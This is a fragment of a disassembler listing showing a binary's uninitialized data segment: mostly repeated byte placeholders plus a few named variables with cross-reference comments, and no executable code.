; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807E750 dd ? ; DATA XREF: sub_8063664+3r ; sub_8063664+16w ... dword_807E754 dd ? ; DATA XREF: sub_80649C0+3r ; sub_80649C0+11w ... unk_807E758 db ? ; ; DATA XREF: sub_8065120+42o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; word_807E768 dw ? ; DATA XREF: sub_8066A50+44r ; sub_8066A50+60w ... db 2 dup(?) dword_807E76C dd ? ; DATA XREF: sub_8067094+8r ; sub_8067094+2Cw ... dword_807E770 dd ? ; DATA XREF: main+101w main+461w ... child_pid dd ? ; DATA XREF: main+F7w main+24Dr ... dword_807E778 dd ? ; DATA XREF: main+10Bw main+25Dr ... dword_807E77C dd ? ; DATA XREF: main+234r dataptr db ? ; DATA XREF: main+2CFw ; broadcast_packet+2Co ... byte_807E781 db ? ; DATA XREF: main+2DBw byte_807E782 db ? ; DATA XREF: main+2E7w byte_807E783 db ? ; DATA XREF: main+2F3w cmdbuffbyte1 dd ? ; DATA XREF: main+2C3w main+328r ... dword_807E788 dd ? ; DATA XREF: getanswer+70w ; getanswer+A8w ... dword_807E78C dd ? ; DATA XREF: vfprintf+1E13r ; vfprintf+1E24r ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807EB8C dd ? ; DATA XREF: sub_805DA10+DBw ; sub_80668AC+DBr dword_807EB90 dd ? ; DATA XREF: sub_805DA10+D2w ; sub_80668AC+EFr dword_807EB94 dd ? ; DATA XREF: sub_805CE84+32r ; sub_805CE84+68w ... _bss ends end start